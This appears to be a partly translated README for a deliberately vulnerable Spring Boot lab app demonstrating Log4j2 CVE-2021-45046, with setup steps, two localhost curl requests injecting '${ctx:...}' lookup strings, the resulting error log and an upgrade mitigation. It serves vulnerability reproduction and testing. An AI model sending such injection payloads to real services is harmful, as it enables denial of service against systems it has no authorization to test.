Пример уязвимого приложения Log4j2 (CVE-2021-45046)

Затронутые версии: все версии с 2.0-beta9 по 2.15.0

Это приложение основано на веб-приложении Spring Boot, уязвимом к CVE-2021-45046.

Оно использует Log4j 2.14.1 (через spring-boot-starter-log4j2 2.6.1).

Запуск приложения

Запустите его:

Import the project in Java IDE as a maven project

Run CVEMainApplication.java as a spring boot app.

Шаги эксплуатации

Затем запустите эксплойт, используя:

For GET ->
curl 127.0.0.1:8080 -H 'X-Api-Version: ${ctx:apiVersion}'


For Post request ->
curl --location --request POST 'http://127.0.0.1:8080/addrecord' \
--header 'Content-Type: application/json' \
--data '{
	"clientRef": "${ctx:clientRef}"
}'

Обратите внимание, что в выводе отображается бесконечный цикл, однако при тестировании не было обнаружено, что этот отказ в обслуживании (DoS) является ресурсоёмким, поскольку программа идентифицирует этот бесконечный цикл и завершается с ошибкой:

${ctx:clientRef}2021-12-15 19:27:50,212 http-nio-8080-exec-1 ERROR An exception occurred processing Appender LogToConsole java.lang.IllegalStateException: Infinite loop in property interpolation of  ${ctx:clientRef}: ctx:clientRef
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.checkCyclicSubstitution(StrSubstitutor.java:1081)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1029)
	at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1042)

Смягчение последствий :

Log4j 2.16.0 исправляет эту проблему, removing support for message lookup patterns and disabling JNDI functionality by default

log4j2-CVE-2021-45046

Популярное